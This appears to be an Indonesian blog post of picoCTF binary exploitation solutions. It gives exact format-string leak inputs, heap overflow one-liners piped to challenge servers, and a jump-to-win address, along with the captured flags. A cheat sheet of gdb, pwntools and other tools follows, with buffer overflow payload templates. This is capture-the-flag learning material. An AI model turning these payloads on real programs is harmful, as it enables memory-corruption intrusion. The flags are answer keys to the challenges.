Binary Exploitation

format string 0

nc mimas.picoctf.net 56362

Enter your recommendation: 11111111111111111111111111111111111111111111111111
There is no such burger yet!

picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_ef312157}


format string 1

 nc mimas.picoctf.net 58532
Give me your order and I'll read it back to you:
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p

decode from hex di chat gpt
0x402118,(nil),0x713333abca00,(nil),0x12bc880,0xa347834,0x7ffeb8e7c0a0,0x7133338ade60,0x713333ad24d0,0x1,0x7ffeb8e7c170,(nil),(nil),0x7b4654436f636970,0x355f31346d316e34,0x3478345f33317937,0x65355f673431665f,0x7d346263623736,0x7,0x713333ad48d8,0x2300000007,0x206e693374307250,0xa336c797453,0x9

format string 1




heap 0

 nc tethys.picoctf.net 62437

Enter your choice: 2
Data for buffer: 11111111111111111111111111111111
Enter your choice: 4

YOU WIN
picoCTF{my_first_heap_overflow_1ad0e1a6}

heap 1

nc tethys.picoctf.net 49425

Enter your choice: 2    

Data for buffer: 11111111111111111111111111111111pico 

Enter your choice: 4

YOU WIN

picoCTF{starting_to_get_the_hang_c588b8a1}


heap 2

echo -e $(python3 -c "import sys; sys.stdout.buffer.write(b'2\n' + b'A'*32 + b'\xa0\x11\x40\x00\x00\x00\x00\x00\n4\n')") | nc mimas.picoctf.net 65515


heap 3

echo $(python3 -c 'print("5\n2\n35\n" + "A"*30 + "pico\n4\n")') | nc tethys.picoctf.net 56188 


Picker IV

gdb ./picker-iv

info function

Non-debugging symbols:

0x0000000000401000  _init

0x00000000004010e0  putchar@plt

0x00000000004010f0  puts@plt

0x0000000000401100  fclose@plt

0x0000000000401110  printf@plt

0x0000000000401120  fgetc@plt

0x0000000000401130  signal@plt

0x0000000000401140  setvbuf@plt

0x0000000000401150  fopen@plt

0x0000000000401160  __isoc99_scanf@plt

0x0000000000401170  exit@plt

0x0000000000401180  sleep@plt

0x0000000000401190  _start

0x00000000004011c0  _dl_relocate_static_pie

0x00000000004011d0  deregister_tm_clones

0x0000000000401200  register_tm_clones

0x0000000000401240  __do_global_dtors_aux

0x0000000000401270  frame_dummy

0x0000000000401276  print_segf_message

0x000000000040129e  win

0x0000000000401334  main

0x00000000004013d0  __libc_csu_init

0x0000000000401440  __libc_csu_fini

0x0000000000401448  _fini


nc saturn.picoctf.net 63592

Enter the address in hex to jump to, excluding '0x': 40129e 

You input 0x40129e

You won!

picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}



























 

Sintax Binary Exploitation

1. GDB (GNU Debugger)

gdb adalah alat debugging utama yang digunakan untuk menganalisis program biner, men-debug dan menelusuri alur eksekusi program.

Sintaks dasar gdb:

bash
gdb ./program # Memulai gdb pada file program

Perintah-perintah umum:

  • Menampilkan informasi tentang fungsi:

    bash
    disas main # Menampilkan disassembly dari fungsi main
  • Menampilkan alamat memory dari variabel:

    bash
    info locals # Menampilkan variabel lokal dalam fungsi info registers # Menampilkan register CPU
  • Menyetel breakpoint:

    bash
    break main # Menetapkan breakpoint pada fungsi main break *0x80484b0 # Menetapkan breakpoint pada alamat memori tertentu
  • Melangkah melalui program:

    bash
    step # Langkah demi langkah, memasuki fungsi next # Langkah demi langkah, tetapi melewati fungsi continue # Melanjutkan eksekusi setelah breakpoint
  • Melihat isi memori:

    bash
    x/32xw $esp # Melihat 32 word (4 byte) dari stack
  • Mengeksploitasi buffer overflow: Jika kita sudah mengetahui ada buffer overflow, kita bisa memanfaatkan alamat return:

    bash
    python -c 'print("A"*40 + "\x12\x34\x56\x78")' | ./program

2. Pwntools

pwntools adalah pustaka Python yang sangat populer untuk binary exploitation, digunakan untuk crafting payload dan berinteraksi dengan proses yang kita eksploitasi.

Contoh Penggunaan:

python
from pwn import * # Menyambungkan ke proses lokal atau remote p = process("./program") # untuk program lokal # p = remote("hostname", 1234) # untuk remote # Membaca output dari program print(p.recvline()) # Mengirimkan input p.sendline(b"A" * 40) # Interaksi langsung p.interactive()

Fitur umum pwntools:

  • Leaking informasi (misalnya, alamat dalam heap):

    python
    leak = p.recv(4)
  • Membuat payload untuk buffer overflow:

    python
    payload = b"A" * 40 + p64(0xdeadbeef) # 40 bytes padding dan alamat p.sendline(payload)

3. Objdump

objdump digunakan untuk menampilkan disassembly dari file biner atau object file. Biasanya digunakan untuk melihat kode mesin.

Sintaks dasar objdump:

bash
objdump -d ./program # Menampilkan disassembly program
  • Menampilkan informasi simbol:

    bash
    objdump -t ./program # Menampilkan simbol dari file ELF
  • Menampilkan header ELF:

    bash
    objdump -x ./program # Menampilkan informasi detail tentang ELF

4. Valgrind

valgrind adalah alat untuk mendeteksi memory leaks dan masalah-masalah lain terkait memori dalam program. Ini sangat berguna untuk mendebug program C/C++.

Sintaks dasar valgrind:

bash
valgrind ./program # Menjalankan program dengan memeriksa kebocoran memori
  • Melihat laporan lebih detail:

    bash
    valgrind --leak-check=full ./program # Deteksi kebocoran memori secara menyeluruh
  • Menjalankan program dengan memeriksa akses memori yang salah:

    bash
    valgrind --track-origins=yes ./program # Menunjukkan asal dari kesalahan memori

5. Readelf

readelf digunakan untuk menampilkan informasi tentang file ELF secara detail, seperti header, section, symbol table, dan banyak lagi.

Sintaks dasar readelf:

bash
readelf -h ./program # Menampilkan ELF Header readelf -S ./program # Menampilkan Section Header readelf -s ./program # Menampilkan Symbol Table readelf -l ./program # Menampilkan Program Header
  • Menampilkan informasi lebih lanjut tentang section:
    bash
    readelf -x .text ./program # Menampilkan konten dari section .text (kode mesin)

6. Checksec

checksec digunakan untuk memeriksa apakah proteksi keamanan tertentu diterapkan pada file ELF, seperti NX, PIE, Stack Canary, dll.

Sintaks dasar checksec:

bash
checksec --fortify-file=program # Memeriksa proteksi seperti NX, PIE, dll.
  • Melihat lebih banyak informasi tentang proteksi:

    bash
    checksec --all # Menampilkan semua proteksi
  • Memeriksa apakah Stack Canary aktif:

    bash
    checksec --stack-protector=full ./program

7. Strace

strace digunakan untuk melacak sistem call yang dilakukan oleh sebuah program. Ini sangat berguna untuk melihat interaksi program dengan sistem operasi, seperti membuka file, membaca, menulis, dll.

Sintaks dasar strace:

bash
strace ./program # Menjalankan program sambil melacak sistem call
  • Mencatat semua sistem call:

    bash
    strace -o output.txt ./program # Mencatat semua ke file output.txt
  • Menampilkan hanya sistem call tertentu (misalnya read dan write):

    bash
    strace -e trace=read,write ./program

8. Sintaks Lainnya yang Berguna

Beberapa alat lain yang berguna untuk eksploitasi binary:

  • Fuzzing dengan Python:

    python
    python -c 'print("A"*100)' | ./program # Mengirimkan input "A" sebanyak 100 byte ke program
  • Mengecek apakah file bisa dieksekusi:

    bash
    file ./program # Mengecek tipe file (ELF, script, dll.)

Kesimpulan:

Semua alat ini bekerja bersama-sama untuk membantu kita menganalisis dan mengeksploitasi file ELF di Kali Linux. gdb untuk debugging, pwntools untuk otomatisasi eksploitasi, objdump untuk disassembly, valgrind untuk deteksi masalah memori, dan lainnya memiliki peran masing-masing yang sangat penting dalam proses binary exploitation.

Jika kamu ingin mendalami lebih jauh atau butuh penjelasan tambahan tentang salah satu alat atau sintaks, tinggal tanya saja! 😊

Posting Komentar

0 Komentar